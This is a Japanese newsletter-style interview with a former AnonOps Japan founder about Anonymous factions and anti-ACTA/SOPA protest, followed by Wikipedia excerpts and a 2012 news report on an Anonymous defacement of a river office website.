Twitterで以前絡んでいた海外アノニマスはバーレーン王国のアノニマスとイタリアのアノニマス後半からはスウェーデン王国のアノニマスと絡んでいた時がありました。現在は代表を白龍様に渡しているので現在は分かりませんが

アノニマスの組織図

アノニマス加盟後カナダ人のアノニマスから聞いたところアノニマスの種類は数えきれないほどあるそうです。一般的に有名なのがチャノロジ-とOpsです彼らは4chから生まれました。最初はカルト団体を抗議して一つの共同体だったみたいなのですが別の目的を持ったアノニマスが現れました。それがAnonOpsです、アノニマスにははっきり言ってルールもありません。自由なのでなにしたっていいみたいですwwwまぁアノニマスは2種類あってどちらもリーダーはいないということです。だからたまに仲間割れが始まるんですよ(-_-)

AnonOps設立の経緯

ちょっと待って!www 僕はAnonOpsを設立していませんよ(0_0)AnonOps Japan を建てたんですよ。僕はアノニマス加盟当時チャノロジ-と呼ばれる種類のアノニマスに所属していました。ですが当時日本にチャノロジ-しかなかったのでチャノロジ-を脱退してAnonOps Japan を設立させたんですよ

AnonOpsの主な活動内容

前まではAnonOpsのブログで活動内容が見れたのですが最近は限定されたユーザーしか見れなくて現在は分かりません。大体アノニマスの目的は決まっています。自由なインターネット環境を守ることです。AnonOps JapanのほうではACTASOPAなどの法案の廃止や否決を求めたりデモや運動の計画を立てたりしています。

脱退の経緯と理由

無期限活動停止のために脱退という形で発表しています。いつか戻る可能性はあるかもしれません。

The Dark Surveillanceとは?

僕が所属しているチームです。(GameとかH*ckとかまぁいろいろ) 詳細はノーコメント

The Dark Surveillance加入経緯

それもお答えすることはできません。

ハッキングなど違法攻撃をしているアノニマスについてどう思うか?

(^^)別に何とも思っていません。抗議の一つ手段だと考えています。あくまでもマイナスな考えかたの抗議ですがねwwww

一番言いたいこと

とにかく暑いそして恋人が欲しいwww(^^)

皆さんへのメッセージ

あのニュース以来日本人のアノニマスがたくさん増えました。 今日本はいろんな問題を抱えています。 これからアノニマスになる人へメッセージです。 抗議するのはいいですが調子に乗ってH*ckやC*ackをしないようにしてください 合法的に抗議をしてください。後悔しますよ。なぜかは教えません。自分でもわかっているでしょう?それを承知したうえでアノニマスになってください。リーダーは存在しません。自由です。

これで以上ですありがとうございました。

##################################################################

ACTA:偽造品の取引の防止に関する協定(ぎぞうひんのとりひきのぼうしにかんするきょうてい;〔〕Anti-Counterfeiting Trade Agreement、ACTA)あるいは模倣品・海賊版拡散防止条約は、知的財産権の保護に関する国際条約。日本国内報道では、偽ブランド品規制条約、偽ブランド防止協定、偽造品取引防止協定、模倣した物品の取引の防止に関する協定、模倣品防止国際条約、模倣品不拡散条約、模造品取引防止協定、模造品防止協定、海賊版拡散防止条約、反偽造貿易協定などとも。

SOPA:Stop Online Piracy Act (SOPA) は、下院司法委員会委員長ラマー・スミス英語版)(テキサス州選出・共和党)ほか12名からなる超党派グループにより、2011年10月26日に共同提案された法案。別名としてHouse Bill 3261あるいはH.R. 3261 とも。日本語ではオンライン海賊行為防止法案などと訳される。この法案が成立した場合、合衆国の法執行機関と著作権者が、著作権で保護された知的財産コピー商品をオンライン上で不正取引する行為に対して行使し得る権限が大幅に拡大されることとなる[2]。この法案は下院司法委員会に提出されたものであるが、同様のものに2008年成立の「PRO-IP法英語版)」と、2011年5月の上院法案「PROTECT IP法案(Protect Intellectual Property Act(PIPA)」がある。

以上、wikipediaより

いかがでしたか?アノニマスへなったキッカケが東日本大震災がきっかけだったとは思いませんでした。様々な思いによってアノニマスへとさせていってるんでしょうか? The Dark Surveillanceが何をしている組織なのか非常に気になります。どなたかご存じの方がいらっしゃれば事務局DDmまでお知らせください。これまで取材に応じて頂いたアノニマスと違い、⑪の回答などお茶目さんそのものですね。一般メディアが報じるアノニマスの姿(暗い危ないイメージ?)とは全く違うように思えます。勿論、アノニマスと一言で言って片付くものでは無いことが取材を重ねるごとに分かってきましたし、一部(海外Anonymousが?)違法な行為をしていることも事実ですので、何とも批評しにくい部分ではありますが、ハッキリと言える事は、いるという事です。TYS X 1997氏の様な合法活動的抗議活動を行うお茶目な青年が・・

でも、やはり・・・気になります・・・ The Dark Surveillance

最後に、快くまた迅速に取材対応して頂いたTYS X 1997氏に心から敬意を表して結びの言葉とさせて頂きます。

※今号に関して当学院はAnonymousのメンバーでないことはもとより、一切の関係もございません。また、Anonymousの主義・主張・理念に対していかなる立場も表明することなく、常にニュートラルを守ります。また、インターネット上での話題性を伴う講義活動などはAnonymousに関わらず当学院の独断により取材を行なって参ります。写真は記事と関係ありません。  

ハッカー攻撃 霞が関と霞ケ浦、勘違い?

国際的なハッカー集団「アノニマス」が日本政府などを狙ったハッカー攻撃を示唆している問題で、国土交通省霞ケ浦河川事務所(茨城県)のホームページ(HP)の不具合は、「霞が関」と勘違いして攻撃した可能性があることが28日、分かった。

霞ケ浦河川事務所の担当者によると、事務所のHPに26日、英文や「大飯原発再稼働断固反対」との日本語が貼り付けられ、画面の一部に「アノニマス」との英語の表記があった。

一方、インターネット掲示板にアノニマスの交流サイトとみられるやりとりの一部が転載され、その中に「アノニマスは霞ケ浦と霞が関を間違えているのでは」との書き込みがあった。

さらにアノニマスが使っているとみられる短文投稿サイト「ツイッター」に27日夜、「ミスしました。やっぱり日本語は難しい」と書き込まれた。

アノニマスは、海賊版ソフトの違法ダウンロードに刑事罰を科す日本の著作権法改正に反対する声明をネット上に掲載しているが、河川事務所は著作権法改正とは無関係で、担当者は「なぜ攻撃対象になったのか分からない」としている。(共同)

[2012年6月28日11時35分]日刊スポーツ